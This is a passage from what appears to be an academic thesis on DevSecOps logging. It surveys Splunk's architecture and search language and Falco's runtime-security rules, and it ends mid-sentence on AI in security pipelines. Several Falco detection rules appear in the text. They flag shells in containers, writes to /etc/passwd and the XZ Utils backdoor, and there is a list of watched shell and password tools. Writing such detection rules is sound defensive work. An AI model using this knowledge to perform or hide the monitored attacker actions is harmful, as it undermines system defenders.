Ready Logging Pipeline that proactively structure logs to meet legal (chain-of-custody, integrity,
immutability) and investigative (causal reconstruction, temporal correlation) requirements, with
attention to standard formats (e.g., CEF, LEEF) and compatibility with containerized environ-
ments (via sidecar or DaemonSet).[74]

62



Background

In summary, the modern forensic vision in DevSecOps is not limited to passive log collection,
but includes the orchestration of tools and mechanisms that make the pipeline itself a tool for
investigation as well as defense. The next subsections will explore two key tools, Splunk and
Falco, that contribute–each with their own specificities–to this goal.

2.8.2 Splunk

Splunk is a powerful security and observability platform that simplifies the collection and man-
agement of automatically generated data (i.e., text logs) while enabling sophisticated search and
analysis capabilities through AI-powered analysis. Originally founded in 2003 by Rob Das and
Eric Swan, the name “Splunk" comes from “spelunking", reflecting the software’s ability to ex-
plore “information caves" within organisational data systems. The platform indexes and searches
log files across distributed systems, analyzing the data to provide actionable intelligence through
alerts, dashboards, charts, reports, and visualizations[75]. The complex structure of Splunk can
be described as follows:

Figure 2.1. Splunk Architecture from the official website[1]

Splunk has revolutionized the way organizations collect, manage, and derive insights from
massive amounts of operational data across IT systems, security infrastructures, and enterprise
applications. As a scalable software solution, Splunk creates a central repository that allows
organizations to search for data from multiple sources without requiring traditional database
structures. The technology has grown significantly since its first release in 2004, becoming known
for its high performance, scalability, and innovative approach to data collection and presentation.
Today, Splunk serves a variety of use cases, including business analytics, application management,
compliance monitoring, and security operations across virtually every industry[75].
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Core Architecture and Components Splunk’s architecture is composed of several key com-
ponents that work together to collect, process, store, and analyze machine data, enabling both
all-in-one installations (only for small deployments) and distributed installations. Splunk Enter-
prise is based on a forwarder-collector-indexer model that orchestrates several components—such
as indexers, search heads, deployers, and license servers—to perform its functionalities[76].

Universal Forwarders (UFs) act as lightweight agents installed on source systems to collect
and forward data to indexers, which guarantees a correct formatting of data before forwarding
it to Splunk. These components can be deployed on application servers or client devices with
minimal impact on resources. For more advanced pre-processing, Heavy Forwarders (HFs) provide
additional capabilities such as data filtering and error log accumulation before transmission to
indexersib..

The Indexer is Splunk’s processing engine, responsible for parsing incoming data streams
into individual events and storing them in optimized indexes. This component manages live data
processing when generating searchable indexes from metadata, including event types, host sources,
and timestamps. It supports large deployments through load balancers (LBs) that enable workload
distribution in numerous indexers to provide maximum performance in high-data environmentsib..

Search Heads (SHs) provide the user interface layer, distributing search queries to indexers and
presenting results through interactive visualizations, allowing users to interact with complex data
without requiring direct access to the underlying index infrastructure. The Deployment Server
(DS) manages the configuration of Splunk components, facilitating centralized administration of
forwarders and other distributed elements. Additionally, as Splunk is mainly a paid service, the
License Manager (LM) is able to track the volume of data to compute operational expenses based
on actual usage, providing progressive pricing based on real use of the platform. This modular
architecture allows Splunk to scale efficiently in organizations of all sizes while maintaining the
agility to tackle heterogeneous data sourcesib..

Splunk Capabilities Framework Splunk excels in four main areas of functionality that, work-
ing together, enable a comprehensive analysis of log data produced by heterogeneous systems.
These capabilities work through the use of parsers and complex filters to transform raw data into
actionable information that can be used in any area, from cybersecurity to business intelligence[76].

Splunk excels at collecting and indexing data from virtually any source, including websites,
applications, sensors, and devices in hybrid environments. The platform’s universal forwarders
can acquire data in different formats, including CSV, JSON, and various log formats, without
requiring predefined schemas; however, this is accompanied by complete configurability in any
proprietary format. In the banking sector, for example, it is possible to aggregate and unify in
a single view data from different business areas, from payments to user accesses. This allows all
the operations performed by users to be correlated and the application flows of different areas of
expertise to be reconstructed. Credit card numbers, demographic information, and PIN/OTPs
can be censored through Splunk so as to minimize the number of people to whom sensitive data
is exposedib..

A key element to focus on is Splunk’s ability to convert logs into metrics, allowing for more
efficient storage and analysis of time series data. These aggregations can be visualized at a
high level through graphs, statistics, and reports and are easily accessible even by non-technical
personnel. The platform’s indexing approach overcomes the limitations of conventional database
structures while still supporting an extreme degree of correlation between different types of data.
SmartStore technology improves the flexibility of data management by separating processing
and storage resources, managing as efficiently as possible the cache structures—which can be
local or sometimes distributed—of frequently accessed data, and archiving inactive information
on external storageib..

Splunk’s main component, and most powerful, is its Search Processing Language (SPL), a
specialized query language that allows both simple searches and complex analytical operations.
Searches can be performed using simple Boolean expressions or using complex regexesib.. An
example of a Splunk query could be the following:
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index=application_logs level=ERROR
| top limit=5 message
| rename message as "Error Msg", count as "Occurrences", percent as "Freq %"

The returned output, structured in a tidy and easy way to read, is the following:

Error Message Occurrences Frequency %
Database connection failed 15 0.32%
Invalid user credentials 3354 1.25%
File not found 88 0.17%
Timeout processing request 12 0.14%
Missing required parameter 44 0.15%

SPL supports five correlation types (time, transactions, subsearches, lookups, and joins) along
with over 140 analytical commands for deep data analysis. This powerful language enables users
to perform sophisticated pattern detection, predictive analytics, and machine learning directly on
raw dataib..

Analytics Workspace provides visual analytics tools that allow both technical and non-technical
users to explore metrics and event data through intuitive graphs and visualizations. Point-and-
click interfaces complement SPL, making advanced analytics accessible to users that have little-to-
no technical skills. Splunk’s ability to save searches and tag important information is especially
essential in security environments, where security audits require long-term log retention while
maintaining a clear and informative structureib..

Monitoring and Alerting Splunk provides a scalable and extensible platform for real-time
monitoring and alerting across distributed systems, including microservices architectures, cloud-
native deployments, and hybrid infrastructures. Splunk, through the ingestion of logs, metrics,
and traces from multiple sources, provides complete visibility into system health, performance
bottlenecks, and security threats. In dynamic environments where services are ephemeral and
horizontally scalable, Splunk’s distributed search capabilities and real-time analytics ensure that
telemetry data from containers, orchestration platforms (e.g., Kubernetes, Docker Swarm), and
service meshes (e.g., Istio, Linkerd) can be efficiently aggregated and analyzed[77].

Furthermore, Splunk enables continuous monitoring of Service Level Indicators (SLIs) and
Service Level Objectives (SLOs), which are critical to maintaining reliability in distributed appli-
cations. Built-in integrations with tools like Prometheus, OpenTelemetry, and Fluentd enable
teams to collect and correlate metrics, logs, and traces across microservices. Specifically, Splunk
can monitor end-to-end request latency across a chain of microservices, identifying underper-
forming services by analyzing distributed traces; it can monitor errors by aggregating HTTP
status codes and application logs; and it can highlight abnormal error rates across specific service
instances through the use of its proprietary AI engineib..

Real-time dashboards give situational awareness of system performance through actionable
insights, presenting key performance metrics (KPMs) like Kubernetes Pod restarts, API gateway
throughput, and database connection pool saturation. Dashboards can be designed to represent
the topology of a distributed system, thereby enabling DevOps and SRE teams to have situa-
tional awareness. Splunk’s alerting framework supports complex conditions that are essential for
detecting anomalies in distributed environments. Unlike simple threshold-based alerts, Splunk
can evaluate multidimensional patterns, such as correlated errors. It is able to trigger an alert
when multiple microservices experience an increase in error rate at the same time, suggesting
a cascading failure. It can detect behavioral anomalies by using machine learning-based alerts
to detect deviations from normal traffic patterns, such as a sudden drop in call rate between
dependent services (indicating potential network partitioning and low loads)ib.. Alerts can be
configured to run automated remediation workflows, such as:

• Scaling up Kubernetes pods when CPU utilization exceeds a threshold.

• Opening a Service Now ticket when a critical microservice consecutively fails health checks.

• Notifying on-call teams via PagerDuty or Slack when latency exceeds an SLO.
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Machine Learning and AI The Splunk Machine Learning Toolkit (MLTK) extends the plat-
form’s analytical capabilities with pre-built machine learning solutions and tools for developing
custom models. MLTK supports outlier detection, predictive analytics, and clustering operations
to identify significant patterns in operational data. Guided assistants simplify model development
through GUI-based workflows that automatically generate SPLs in the background while allowing
for technical review and customization[78].

Splunk’s AI capabilities integrate with its broader analytics workflow, enabling organizations
to operationalize machine learning in production environments. The Splunk community for MLTK
algorithms on GitHub offers additional resources for developing specialized solutions to complex
business problems. These capabilities help organizations move beyond basic monitoring to pre-
dictive and prescriptive analytics that anticipate problems before they impact operationsib..

IT Service Intelligence Splunk IT Service Intelligence (ITSI) is a premium solution built
on the Splunk core platform that specializes in service-oriented monitoring and analytics. ITSI
introduces business-focused service capabilities, including service analyzers, analytics tables, and
deep dives that correlate infrastructure metrics with business service health[77].

The solution implements sophisticated role-based access controls with specialized capabili-
ties for service management tasks such as modeling KPI thresholds, managing entity discovery
searches, and configuring backup/restore operations. ITSI’s robust event management capabili-
ties provide integrated alerting and incident response workflows that are customized for mission-
critical services. These capabilities make Splunk especially valuable for organizations that manage
complex IT service environments with stringent availability requirementsib..

Splunk’s security capabilities, especially in the security field, go beyond simple monitoring and
raw aggregation; they enable complex threat detection, investigation, and response workflows.
The platform’s ability to incorporate security events from multiple data sources enables organi-
zations to detect complex attacks that bypass conventional security measures[77]. An extremely
illustrative article on Splunk’s strength demonstrates how it was possible to detect malicious ac-
tivity by ingesting and analyzing a user’s mouse movements. The movements, detected via X,Y
coordinate pairs and converted into images, are analyzed using a convolutional neural network
and compared against movements of known human origin. This system was found to be capable,
with an accuracy of 80%, of detecting the activity of an actual customer from a non-customer.
This kind of detection can be a significant indicator for fraud and threat detection scenarios where
“foreigners" could claim to be legitimate users.[79]. These advanced capabilities enable a wide
range of security applications, such as fraud detection, the identification of brute force attacks,
and, as just demonstrated, anomalous behavior[77].

Custom Role Configuration Organizations can create custom roles with granular adjust-
ments to user access, including role inheritance, capability assignment, index restrictions, and
search filters. Role inheritance allows new roles to incorporate permissions from existing roles,
simplifying complex permission schemes. Index controls limit the data sources a role can access,
while search filters further limit the specific events visible within allowed indexes[77].

For custom roles, resource limits can be enforced, for example, amounts of concurrent searches,
search window times, and disk-space search process quotas. These controls enable organizations
to trade off analytical flexibility with the need for system performance and data security. Splunk
offers role management via the web and configuration files, but on the Splunk Cloud Platform,
changes are applied through the web interface onlyib..

The Splunk security model adopts an additive permissions model in which roles only are able
to grant access—meaning that by default, everything else is denied. Users that have assigned
multiple roles get the union of the overall permissions, meaning it is not possible to remove them
by assigning a role. This makes attacks such as privilege escalation much more difficult from an
attacker’s perspectiveib..

For sensitive operations, Splunk implements feature requirements such as delete_by_keyword
for data deletion or edit_roles for security administration. The platform’s permissions system
integrates with multiple authentication providers, including SAML, LDAP, Active Directory, and
e-Directory, supporting enterprise identity management workflowsib..
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Deployment and Management Splunk has multiple deployment options to accommodate
different enterprise requirements—from small to distributed enterprise environments. The plat-
form architecture is also fit for both on-premises and cloud deployments, requiring differing effort
of management for the system top-bot structure[77].

With self-service deployment options, Splunk Enterprise is designed for organizations that
value having complete command of their analytics foundation. This model allows for customisation
of all Splunk components to meet specific performance, security, and integration requirements.
Splunk Cloud Platform offers a managed service alternative with reduced operational overhead,
although with some configuration limitations compared to the Enterprise versionib..

For hybrid environments, Splunk supports distributed deployments that span on-premises and
cloud resources while maintaining data federation capabilities. The platform’s data management
tools help organizations maintain visibility, security, and compliance in these complex environ-
ments while optimizing costs. SmartStore technology enhances deployment flexibility by allowing
compute and storage resources to be independently scaled based on business needsib..

System Monitoring and Maintenance Splunk Monitoring Console The Splunk Monitoring
Console offers an out-of-the-box enterprise deployment-wide monitoring view and topology views
with alerts for all platform components. This central UI enables the admin to monitor the health,
performance, capacity, and interconnectivity of the entire Splunk deployment[77].

Policy-based resource allocation for ingest and search with workload management capabilities,
so it is possible to prioritize critical workloads. SmartStore also simplifies the management of
indexers by sending data to remote storage, enabling a precise focus on the procedures of security
patching and software upgradesib..

Comparative Advantages and Limitations Splunk’s broad feature set positions it as the
market leader in machine data analytics, although the platform has strengths and limitations that
organizations should consider when evaluating solutions. Splunk maintains its market leadership
through its comprehensive feature set, paired with enterprise-grade capabilities[77].

The real-time analytics provided by the platform offer instant insight into operating status and
contribute significantly to decreasing the time to solve any problems. Advanced features—-such
as machine learning capabilities and IT service intelligence modules—take Splunk from a basic log
analytics platform into a predictive tool for security operations and service-oriented monitoring.
The platform is scalable to any deployment size, including small environments, focusing on large
deployments that are able to produce terabytes of data and simultaneously having the capability to
process them daily. Splunk’s broad integration ecosystem through Splunkbase allows organizations
to customize the platform for specific use cases with pre-built solutions. Role-based access controls
and comprehensive security certifications make Splunk suitable for highly regulated industriesib..

Splunk’s powerful capabilities come with significant complexity, especially for organizations
without dedicated Splunk administrators. The platform’s cost structure can become prohibitive
at scale, especially when managing large volumes of data with traditional licensing models. Ulti-
mately, maximizing performance will require tuning and configuring research and infrastructure
settings that some less-experienced teams will undoubtedly struggle with. The platform has in-
creasing competition from open-source offerings like ELK Stack (Elasticsearch, Logstash, and
Kibana) and cloud-native offerings like Sumo Logic. These are generally low-cost options for basic
log analytics, and free basic editions may be scaled with limited functionality when compared with
the full Splunk platformib..

Splunk is a comprehensive machine data analytics platform, offering unmatched capabilities for
collecting, searching, monitoring, and analyzing operational data across enterprise environments.
The platform’s core strengths in data indexing, powerful search language, and real-time analyt-
ics provide fundamental value that extends to IT operations, security monitoring, and business
intelligence use casesib..

Splunk’s modular architecture and broad ecosystem enable organizations to start with basic
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log analytics and grow to advanced capabilities such as predictive maintenance, service level mon-
itoring, and security orchestration. The platform’s role-based access controls and security certifi-
cations make it suitable especially for companies with critical infrastructures—such as government
agencies and banks—while its scalability supports deployments ranging from small businesses to
global enterprisesib..

Its complexity and pricing are not without their challenges, particularly for smaller enterprises,
but its out-of-the-box feature set should be taken into account when evaluating operational costs
since Splunk’s pricing could offer a cheaper solution. As the amount of operational data that
organizations are creating increases, Splunk’s capability to turn that data into actionable insights
will be paramount in order to achieve operational efficiency, security posture, and data-driven
insights for every domainib..

2.8.3 Falco

In this section, Falco is briefly described and analyzed, highlighting its functionalities. Falco is
the most popular open-source runtime security tool for cloud-native environments, containers,
and, in general, Kubernetes. Initially developed by Sysdig and now a Cloud Native Computing
Foundation (CNCF) graduated project, Falco has become the de facto standard for cloud-native
runtime security by providing real-time threat detection. The heart of Falco resides in its rule
engine, which is able to provide detection capabilities through leveraging YAML text files[37].

Falco represents a paradigm shift in runtime security, specifically designed for the ephemeral
and distributed nature of cloud-native architectures. Falco is able to sophisticatedly listen and
monitor for all of the monitored system events—especially Linux system calls—and evaluate them
against customizable rules in search of potential security threats. What makes Falco unique is the
capability of enriching these raw kernel events with contextual metadata from container runtimes,
as well as Kubernetes, which gives the security teams actionable insights instead of raw data[37].

The project was born out of Sysdig’s extensive system-level observation and forensics ex-
perience that spans decades and the creation of Wireshark, the widely used network protocol
analyzer. That heritage is the foundation of Falco’s engineering approach, offering a blend of
low-level system visibility along with cloud-native integration capabilities. As a CNCF graduated
project—achieving the same maturity level as Kubernetes and Prometheus—Falcon has been
broadly adopted across industries, including at tech giants and startups, and is deployed on every
major cloud platform and in large on-premise installations[37].

Core Architecture and Components Falco’s architecture embeds its low-level system visibil-
ity and cloud-native integrations in a manner that melds traditional system monitoring approaches
with modern extensibility. The second layer is runtime protection, provided by a family of coop-
erating runtime components and described in detail in the next sections. Beneath it all is Falco’s
event collection system, which watches Linux system calls through one of three possible drivers:
the modern eBPF probe using CO-RE support for backward compatibility across differing kernel
versions, the legacy eBPF probe, or a classic kernel module. The eBPF model is highly efficient
and effective, enabling Falco to inspect system behavior in a way that won’t create additional
risk to system stability or performance. This visibility at the kernel level allows Falco to observe
core behavioral signals of compromise, such as attempts to escalate privileges, attempts to ac-
cess sensitive files, or spawn unexpected processes, irrespective of whether those are coming from
containers, VMs, or bare metal machines hosted on-premises[37].

Falco’s architecture In Falco, the brain of the operation is the userspace program, which reads
a continuous stream of events from the kernel and compares these against the configured rule set.
This component will be responsible for signal processing, event parsing, and rule interpretations
that can determine if an event is a security-relevant anomaly applied to the right context. The
single-threaded, sequential design of the engine is essential for its capabilities as a monitoring
tool, as it is a critical requirement for security monitoring where event ordering and consistency
matter[37].
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With its plugin architecture, Falco is capable of doing so much more than a simple system
call monitor, as it includes, but is not limited to, plugins that expose completely new types of
events (such as Kubernetes audit logs, cloud-provider APIs, or authentication systems) or that
pull additional fields from existing events. This extensibility has also made possible a variety of
integrations with other systems, such as GitHub (monitoring repository access), Okta (monitoring
of authentication events), and AWS CloudTrail (analysis of activity within a cloud API). Plugin
SDK for different programming languages so that organizations can create custom integrations
that fit their environment[37].

Detection Capabilities and Rule Engine The real power of Falco derives from its advanced
rule engine, which converts raw system data into actionable security information. The engine
works on an event stream, passing the events through hundreds of rules at a time, looking for
suspicious behavior. Falco comes out of the box with a broad set of rules that have been de-
signed to identify and alert you to possible attacks or suspect activity, from files being opened in
inappropriate ways to the network packets being sent. Attempts to escalate privileges by trying
to use privileged containers, altering namespaces by tools such as setns, using limited access to
sensitive directories (for example, /etc, /usr/bin, /usr/sbin), creating symbolic links, making
unexpected changes to the owner or the permissions of a file, and making suspicious network
connections are only a few of the already defined rules that can be downloaded and configured
immediately. Furthermore, there are rules that also track if shell binaries (sh, bash, csh, zsh),
SSH clients (ssh, scp, sftp), critical system utilities (coreutils, login binaries), and the password
management tools (passwd, chpasswd, useradd) are being executed[37].

Rule Structure and Syntax Falco rules are defined in YAML files, making them both human-
readable and easily manageable as code. Of course, this kind of textual definition is a great feature
to be added in DevSecOps environments, as it is possible to track and add each configuration file
inside software control software, enabling version control. Each rule consists of many components.
The main sections are the following: a unique name (rule), description (desc), detection condition,
output message format, priority level, and optional tags for categorization. The condition field
contains the detection logic, expressed as a boolean expression that evaluates event properties
against expected norms[37]. For example, a rule detecting shell execution in containers might
specify:

- rule: shell_in_container
desc: notice shell activity within a container
condition: >

evt.type = execve and
evt.dir = < and
container.id != host and
proc.name = bash

output: >
shell in a container |
user=%user.name container_id=%container.id container_name=%container.name
shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline

priority: WARNING

[80] This Falco rule, shell_in_container, has been created to identify shell activity inside contain-
ers but not on the host system so that suspicious or unauthorized activities can be monitored for.
It activates when a call to execve (process execution) is done within a container and the process
name is one of the most common of shells (like bash, sh, or zsh) or ends in _sh, or when a shell is
invoked via sudo (like sudo bash). Such a simple but powerful rule gives context such as the user,
container ID, container name, shell process name, parent process name, and full command line.
The output is then written to the log as a WARNING with appropriate tags (container, shell,
MITRE ATT&CK T10599) to aid in finding command-line attacks in container environments[37].

9T1059 - Command-Line Interface
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Advanced Rule Features Falco enables many advanced features to improve the effectiveness
and complexity of rules. Macros enable you to encapsulate common rule condition patterns
for reuse between rules and lists. Define groups of related values (for example, sensitive files
or suspicious binaries), and these can be referred to easily. Override ruling gives the ability for
organizations to change the default rule set by changing the default priority levels (DEBUG, INFO,
NOTICE, WARNING, ERROR, CRITICAL, ALERT, EMERGENCY) given by a detection—i.e.,
a WARNING response, in some contexts, could be required to be a CRITICAL[37].

The rule engine also supports field extraction from events, with dozens of predefined fields cov-
ering process details (name, arguments, environment variables), file operations (accessed paths,
modes), network activity (connections, ports), container metadata (ID, name, image), and Ku-
bernetes context (pod, namespace, labels). These fields can be referenced in both conditions and
output messages, providing rich context for each detection[37].

Custom Rule Development While the general purpose rules that come out-of-box with Falco
are able to solve many common use-cases most organizations would encounter, many organizations
find they have to specialize the rules for their environment and threat model. This kind of process
includes determining which activities of interest are related to security that should be watched
(i.e. access to application secrets, unusual cron job runs, or certain API calls), and creating
corresponding Falco rule conditions for detecting the anomalous behaviour[37]. For instance, a
rule detecting unauthorized /etc/passwd modifications might look like:

rule: passwd_modification
desc: Detect writes to /etc/passwd
condition: >

(evt.type in (open, openat, openat2) and
evt.is_open_write=true and
fd.name = "/etc/passwd"

output: >
Unauthorized passwd modification attempt
(user=%user.name command=%proc.cmdline)

priority: CRITICAL
tags: [filesystem, authentication, mitre_persistence]

[37] This rule, hovewer, has a serious fault. In some containers, it is possible it to run commands
that create or update system users, such as sudo apt install docker. This command add a
dedicated system user during installation, hence modifying the /etc/passwd file. This would
make the last rule generate many false positives, reducing greatly its effectiveness[37]. Rules then
can be updated to manage exceptions, as written as follows:

rule: passwd_modification
desc: Detect writes to /etc/passwd
condition: >

(evt.type in (open, openat, openat2) and
evt.is_open_write=true and
fd.name = "/etc/passwd"

output: >
Unauthorized passwd modification attempt
(user=%user.name command=%proc.cmdline)

priority: CRITICAL
tags: [filesystem, authentication, mitre_persistence]
exceptions:

- name: package_managers
fields: [proc.name]
comps: [in]
values:

- ["apt", "apt-get"]
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This updated rule will not generate any false positives when containers install packages with apt.
Of course, this applies only in cases where this behavior is predicted and wanted and cannot be
assumed by an attacker[37].

Deployment and Integration Ecosystem Falco’s strength lies not only in its useful and com-
plex detection capabilities, but it also offers flexible deployment options and ease of integration.
These capabilities enable enterprises to embed runtime security across their cloud-native stack.
Falco provides a variety of deployment options for different environments. Within Kubernetes,
Falco usually runs as a DaemonSet to have dedicated monitoring for every node. Helm charts
make it easy to install and configure with optional features, including JSON output, metrics
collection, and support for container runtimes (Docker, containerd, CRI-O). For non-Kubernetes
environments, Falco can run directly on Linux hosts or in Docker containers, maintaining consis-
tent security monitoring across different deployment models[37]. Deploying Falco in a Kubernetes
cluster is somewhat simple, as it can be installed with a single Helm command:

# Installs Falco (no extra components like Sidekick/Talon).
helm install falco falcosecurity/falco \

# Runs in falco namespace (auto-creates it if missing).
--namespace falco \
--create-namespace \
# Enables terminal output (tty=true for basic logs).
--set tty=true

This configuration is missing a critical component, namely Falcosidekick, which is an alerting
system used for informing security practitioners that a rule has been activated.

Alert Processing with Falcosidekick Even though Falco’s primary capability is to detect
malicious activity, it is also necessary to produce alerts in order to react in a timely fashion.
Falcosidekick is the tool that provides this functionality and does the conversions from Falco’s
native alerts to any format required by the downstream systems. It supports more than 50 out-
put types (SIEMs, messaging tools like Teams, task management platforms, and storage APIs),
including observability tools (Splunk and Dynatrace), messaging tools (Slack), ticketing systems,
storage solutions (S3), and custom webhooks. This flexibility means security teams can be effec-
tively alerted over the channels they prefer and initiate an appropriate response without involving
manual activities[81].

Additionally, Falco provides out of the box a web UI, which displays the recent alerts and
exposes Prometheus metrics (/metrics endpoint) for monitoring Falco operation and configuration.
In more sophisticated setups, it can result in an automated response through Falco Talon, which
is able to programmatically and automatically run remediation actions when certain detections
are met (run cleanup, autoscale down, delete a pod, etc.)[81].

Enhanced Supply Chain Security with Falco Falco has matured into the essential solution
for uncovering and reducing the risk of supply chain attacks, with increasing complexity and
prevalence in cloud-native landscapes. By monitoring syscalls, file activity, and process execution
in real-time, Falco can detect anomalous behavior that might indicate compromised dependencies,
corrupted artifacts, or other unauthorized behavior in a software delivery pipeline.

Recent examples include backdoors in the XZ Utils compression library (versions 5.6.0 and
5.6.1), in which the vulnerability CVE-2024-3094 permitted a seemingly trusted open-source col-
laborator, which later revealed itself as a malicious attacker, to execute code remotely through
SSH[82]. Had Falco been deployed with the rule defined in the following section, it would likely
have been detected through the following IoCs:

• Unauthorized library modifications: Falco rules monitoring /usr/lib or /lib directories
would have likely picked up on the tainted XZ library being loaded into sshd.
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• Suspicious process injection: The backdoor relied on systemd executing modified .so files—
Falco’s process lineage tracking would have detected unexpected child processes spawned by
sshd.

• Abnormal privilege escalation: The exploit involved glibc hooks to elevate privileges, which
Falco’s kernel-level monitoring could have identified through setuid or execve anomalies.

The rule, provided by the official documentation of Falco[83], is the following:

- rule: Detect_XZ_Utils_Backdoor_CVE_2024_3094
desc: >

This rule detects possible CVE-2024-3094 exploitation when the SSH daemon
process loads a vulnerable version of the liblzma library. An attacker
could exploit this to interfere with authentication in sshd via systemd,
potentially compromising sensitive data or escalating their privileges.

condition: >
open_read and
proc.name=sshd and
(fd.name contains "liblzma.so.5.6.0" or fd.name contains "liblzma.so.5.6.1")

output: >
SSHD loaded a backdoored version of liblzma library %fd.name with parent
%proc.pname and cmdline %proc.cmdline (process=%proc.name parent=%proc.pname
file=%fd.name evt_type=%evt.type user=%user.name user_uid=%user.uid
user_loginuid=%user.loginuid proc_exepath=%proc.exepath command=%proc.cmdline
terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)

priority: CRITICAL
tags: [filesystem, process, mitre_execution, mitre_persistence]
source: syscall

Proactive mitigations enabled by Falco Additionally, Falco is able to provide multiple
proactive mitigations. It is able to block malicious dependencies, halting the execution of moni-
tored processes that are detected to load libraries from untrusted paths (such as a library loaded
from the /tmp folder). It is able to detect CI/CD compromises by monitoring kubectl or docker
executables, flagging unauthorized deployment attempts of malicious images, such as a GitHub
Action pushing a backdoored image. Furthermore, it is able to verify artifacts during runtime,
enforcing checksum validations for critical binaries. This is extremely valuable in neutralizing
vulnerabilities that replace binaries, such as JARs. The Falco Talon project further enhances
supply chain security by automating responses, such as:

• Killing pods that load malicious libraries.

• Freezing compromised containers for forensic analysis.

• Revoking Kubernetes service account credentials abused in attacks.

With the growing presence of supply chain poisoning attacks (some recent ones are SolarWinds[53],
Codecov[84], and PyTorch-nightly[85]), Falco’s real-time detection capability acts as an ulti-
mate defense line when threats have managed to bypass traditional static analysis or vulnerability
scanners. Its ability to associate runtime behavior with cloud-native context can make it an in-
valuable addition to modern DevSecOps pipelines[86].

Key Strengths The kernel-level visibility of Falco provides detection abilities that are out of
reach for the majority of application-layer security solutions. By intercepting system calls at the
source, it can detect malicious behavior, irrespective of whether it is from compromised applica-
tions, malicious containers, or host-level processes. That depth of visibility is especially beneficial
in a container-based environment, where traditional security perimeters are often blurry[37].
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Unlike periodic scanning, the tool can detect in a real-time streaming mode, which provides
you with real-time visibility into your security posture. This early detection dramatically limits
possible large-scale damage from attacks by allowing for much quicker reaction times than batch-
like security systems[37].

Falco is an open-source and graduated project of CNCF, being transparent, community sup-
ported, and long-term driven. Companies can read the code, submit enhancements, and extend
Falco deeply within their organizations without fear of being locked into a vendor. A variety of
plugins give you endless possibilities, allowing for the development of very specific use cases and
customized solutions[37].

Limitations and Considerations Falco’s rich feature set also brings complexity that can
overwhelm teams inexperienced with deep system monitoring. Effective custom rules have to be
developed with in-depth knowledge of security concepts and low-level systems and very often need
training or dedicated security engineering resources[37].

The tool’s focus on detection rather than prevention means organizations must integrate it with
response systems (like Falco Talon or existing SOAR platforms) to achieve complete protection.
While Falco excels at identifying threats, stopping them requires additional tooling and workflow
development[37].

Like all monitoring tools, Falco has potential for false positives that need to be adjusted for
different environments. Whereas the default rules cover extensive behavior patterns, they should
be calibrated iteratively according to legitimate use cases that demonstrate behavior profiles
comparable to attacks. Continual rule maintenance is required to keep detection accurate as apps
and infrastructures evolve[37].

Conclusion Falco is a significant leap forward in runtime security for cloud-native environments,
offering the deep system visibility network security tools lack (for Kubernetes) and the far richer
context that intrusion prevention and application security solutions lack (also for Kubernetes).
Its filesystem-level visibility, large rule library, and wide breadth of integration all come together
to best serve as the security solution for dynamic containers in various deployment types.

Its open-source principles and CNCF support mean that the tool is always going to be in keep-
ing with the best cloud-native principles while enjoying the support of the many in the community.
With the growing adoption of Kubernetes and microservices architectures by organizations, Falco
can offer the runtime security layer that could safeguard these complex environments from modern
threats.

From detecting container breakout attempts to identifying supply chain compromises and en-
forcing compliance requirements, Falco’s applications span the entire cloud-native security spec-
trum. When combined with alert processing systems like FalcoSidekick and automated response
tools like Falco Talon, it forms a complete runtime protection platform capable of securing even
the most dynamic infrastructures.

Falco’s extensible architecture and active community of development mean it is able to respond
to the latest security needs as those grow and expand. In an environment where runtime security
in containerized environments is required and critical, Falco represents the trifecta of depth,
flexibility, and cloud-native blend that makes it the undisputed tool.

2.9 Artificial Intelligence in the DevSecOps Pipeline: To-
wards Continuous, Context-Aware Security

Bringing artificial intelligence to the DevSecOps pipeline is not simply about automating current
security testing—it’s a fundamental reimagining of how software security must be done: proac-
tively, contextually, and continuously. Whereas most DevSecOps integrations have depended on
static tools and post-facto detection methods, emerging developments in AI—especially machine
learning (ML), deep learning (DL), and large language models (LLMs)—are shifting the paradigm
to intelligent, self-adaptive systems capable of evolving with the software they protect[87].
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Beyond Automation: Intelligence as a DevSecOps Substrate Most of the focus put by
AI research in DevSecOps is still towards automation features—minimizing manual review and
integrating static security analysis tool into CI/CD pipelines. A recent paper reveals a vision that
goes far more deeply: AI is not simply a substitute for human reviewers; AI is a strategic substrate
that can learn context, model risks, and reason about vulnerability throughout the software
development lifecycle. The paper identifies 12 security-critical tasks across five DevOps phases
and maps state-of-the-art AI approaches—such as graph neural networks (GNNs), transformers,
and hybrid LLM-GNN architectures—to each task[87].

One of the most striking discrepancies in AI adoption is the asymmetry towards the field
of adoption across DevOps phases of AI: whereas 52% of the research is concerned with the
“Development" phase (e.g., vulnerability detection at the code level), there is a total lack of AI-
based solutions in the “Plan" phase (e.g., threat modeling and impact analysis) in peer-reviewed
studies. This as-yet-unresearched area has enormous potential. AI tools might even be utilized for
dynamic threat modeling through the extraction of threat vectors from issue trackers, user stories,
or architecture diagrams—similar to what Security Copilot does, though with opaque mechanisms.
This would bring a proactive, swift approach to threat detection, rather than detection directly
into the early stages of the pipeline[87].

Fine-Grained Vulnerability Detection AI’s most promising impact is its ability to enable
fine-grained reasoning at scale. While early methods used recurrent neural networks (RNNs) for
file-level vulnerability detection, they lacked semantic precision. Recent work (e.g., VulDeePecker,
LineVul, IVDetect) has demonstrated that AI models—especially those using transformers and
GNNs—can detect vulnerabilities at the line-of-code level with interpretability[87]. This degree of
granularity not only speeds up remediation but also enables real-time feedback integrated within
the IDE, strongly aligned with “shift-left" DevSecOps principles.

Moreover, these methods have gone beyond simple categorization: VulExplainer and VulChecker
integrate CWE-level taxonomy and dependency graphs, respectively, for both detection and ex-
planation. Two-layered intelligence of this sort is anything but superficial; it signifies an epistemo-
logical upgrade from binary “secure/insecure" flags to a nuanced understanding of vulnerability
causes and mitigation paths[87].

Data Realism vs. Academic Innovation The research paper of Fu et al. (2024), through the
use of 65 different benchmarks utilized across the 99 papers studied, highlighted that the majority
of software vulnerability classification with AI-driven methods relied on prefabricated datasets or
statically labeled data (e.g., SARD and VulDeePecker). These benchmarks generally don’t reflect
the entropic, noisy conditions of real-world repositories. As a result, there is a growing need
for research to prioritize longitudinal, real-world corpora, perhaps through collaborations with
open-source foundations or continuous vulnerability monitoring platforms[87].

Moreover, domain adaptation techniques are gaining traction. For instance, transformer mod-
els pre-trained on general code (e.g., CodeBERT, CodeT5) perform worse on security-specific tasks
without fine-tuning. Techniques such as LATTICE and ATTAIN employ curriculum learning and
hierarchical classification to bridge this gap by assigning difficulty scores to each sample and using
a training scheduler to sample batches of training data based on these scores, facilitating learn-
ing from easy to difficult data. Thus, the paper highlights that transformer-based code models
